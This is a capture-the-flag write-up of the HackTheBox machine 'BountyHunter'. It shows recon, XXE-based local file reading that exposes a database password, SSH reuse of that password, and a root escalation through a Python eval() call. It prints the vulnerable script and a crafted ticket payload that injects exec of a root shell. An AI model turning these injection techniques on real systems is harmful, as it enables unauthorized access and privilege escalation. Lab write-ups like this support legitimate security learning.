Home BountyHunter - HackTheBox
Post
Cancel

BountyHunter - HackTheBox

Another interesting easy linux box, Bounty Hunter is a box that features a web application that is vulnerable to XML External Entitiy injection. This flaw allows an attacker to read local files on the server, which can be used to download a PHP file that contains a username and password, which grants access to box over SSH.

The privesc is a CTF-like challenge, where a custom script used to validate “tickets” is making a call to the exec() function of python with user-controlled data.


Info


  • OS - Linux
  • Difficulty - Easy
  • Points - 20
  • Release - 24/Jul/2021
  • IP - 10.10.11.100



Recon


Starting Nmap 7.70 ( https://nmap.org ) at 2021-09-26 09:09 WAT
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 09:09 (0:00:06 remaining)
Nmap scan report for 10.10.11.100
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.02 seconds

SSH Server

  • Password login for root user allowed.

Web Server

There is a contact us form at the bottom of the home page that does not send any of the entered data, and result in the below response;


The directory /resources/ has listing enabled, and contains a README.txt file;

Bounty Report System

The form is submitted by a custom JavaScript code defined in the file resources/bountylog.js;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function returnSecret(data) {
  return Promise.resolve($.ajax({
            type: "POST",
            data: {"data":data},
            url: "tracker_diRbPr00f314.php"
            }));
}

async function bountySubmit() {
  try {
    var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
    <bugreport>
    <title>${$('#exploitTitle').val()}</title>
    <cwe>${$('#cwe').val()}</cwe>
    <cvss>${$('#cvss').val()}</cvss>
    <reward>${$('#reward').val()}</reward>
    </bugreport>`
    let data = await returnSecret(btoa(xml));
      $("#return").html(data)
  }
  catch(error) {
    console.log('Error:', error);
  }
}

Generated request sample;

Nothing in the JavaScript code indicate any input validation, nor in the HTML code of the form;

Since all the user-controlled parameters are directly used to construct and XML code that is passed to the server as a base64-encoded data, XML injection flaws may arise during parsing by the backend.

Injecting a new parameter age;

The decoded XML;

The server only responded with attributes it is interested in, and ignored the injected one, but seeing the title parameter in the response indicated our injection was successful, and didn’t break the backend parser.

First attempt to read a local file returned blank attributes;

Since the client-side JS code sends out a complete XML code, and not just user-given parameters, the encoded XML data generated was replaced (using an intercepting proxy) with an XML entity that will include a local file in the response;

Remote File Inclusion payload also worked;



Foothold


Using the XXE vulnerability discovered on the web application, a local user account was discovered with the username codex;

Attempt to read the user flag, which should be located at /home/codex/user.txt was unsuccessful.

After calling it a night and continuing the next day, the discovered codex user no longer exist in the /etc/passwd file. The account was most likely created by another tester. But the development account still exist;

The flag of this user is also not readable, and attempts to read the source code of the web application in hope of finding something kept kept failing.

After a while of frustration, I figured the contents of some files are likely breaking the XML syntax, so I test if the web app allows for base64 encoding of target data using PHP, and it does. The output shown below is the base64-encoded content of /etc/passwd;

Since I can now read all readable files, I went back to fuzzing for hidden files with ffuf, and discovered an interesting file in the web root named /db.php;

Dumping the file using the XXE exploit revealed a credential;

1
2
3
4
5
6
7
8
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

Since a user was previously discovered with the username development, and an SSH server is running on the host, the password was tested on the SSH server, and it was successful;



PrivEsc


The user development has sudo access to /opt/skytrain_inc/ticketValidator.py;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

Code Logic for ticketValidator.py

  • Ask user for ticket file name.
  • Verify that the file ends with .md, and open it for reading.
  • Pass the opened file to evaluate()
    • Ensure the first line starts with # Skytrain Inc
    • Ensure the second line starts with ## Ticket to , and print the ticket recipient.
    • Loop until a line starting with __Ticket Code:__ is found, and save the index of the line after it as code_line.
      • Ensure that the line with the index code_line start with **.
      • Strip the ** found in the line, and split the line at first occurrence of + and save the data to the left as ticketCode.
      • Convert ticketCode to int, and test if a remainder of 4 is obtained after dividing the value by 7 (ticketCode % 7 == 4).
      • If the above is true, strip all ** in original code line and pass it to python’s eval() function.

The eval() method is dangerous when used to process unsanitized data. After testing the logic in a local python3 installation, I was able to build the below ticket that launch a bash shell when processed by the Ticket Validator;

1
2
3
4
# Skytrain Inc
## Ticket to someHacker
__Ticket Code:__
**11 + int(exec('import os; os.system("/bin/bash")') == 1)

Using scp, I copied the above ticket to /tmp/privesc_ticket.md on the target host, and was able to get root on first attempt ;)



Summary


  • Identified SSH and HTTP services using nmap
  • /log_submit.php provides a form submitted in a POST request as base64-encoded XML with no client-side validation. Testing revealed an exploitable XXE vulnerability.
  • Using the XXE flaw;
    • Identified a local user named development.
    • Download source code of previously discovered PHP file /db.php, which contain password that allowed SSH access to the development account.
  • With SSH access to the development account;
    • Found a custom ticket validation script written in python that can be executed as root using sudo.
    • Shipped the script to my attack host for analysis.
      • Discovered a dangerous call to python’s eval() function with user-controlled data.
      • Crafted a malicious ticket file to spawn a bash shell on the host as root
This post is licensed under CC BY 4.0 by the author.
Contents